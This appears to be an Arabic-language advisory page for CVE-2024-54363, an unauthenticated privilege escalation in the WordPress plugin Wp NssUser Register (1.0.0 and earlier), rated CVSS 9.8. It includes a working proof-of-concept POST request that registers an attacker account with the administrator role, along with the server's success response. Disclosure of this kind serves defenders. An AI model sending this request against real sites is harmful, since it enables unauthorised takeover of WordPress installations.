CVE-2024-54363

Wp NssUser Register <= 1.0.0 - تصعيد الامتيازات بدون مصادقة

الوصف

إن إضافة Wp NssUser Register الخاصة بـ WordPress عرضة لتصعيد الامتيازات في جميع الإصدارات حتى الإصدار 1.0.0 وما يشمل ذلك الإصدار. وهذا يتيح للمهاجمين غير المصادَق عليهم التسجيل في الموقع كمسؤولين.

التفاصيل

النوع: إضافة
Slug: wp-nssuser-register
الإصدار المتأثر: 1.0.0
درجة CVSS: 9.8
تصنيف CVSS: حرج
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-54363
الحالة: مغلقة

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Referer: http://example.com/

action=nssTheme_registration_form&rgName=admin2&[email protected]&rgFname=Attacker&rgLname=User&rgRole=administrator&rg_pass=evilpass

<p>successful, just Check this: </p>            <a href="https://wp-dev.ddev.site/wp-login.php" title="Login">Login</a>

CVE-2024-54363

الأكثر شعبية

CVE-2024-54363

الوصف

التفاصيل

POC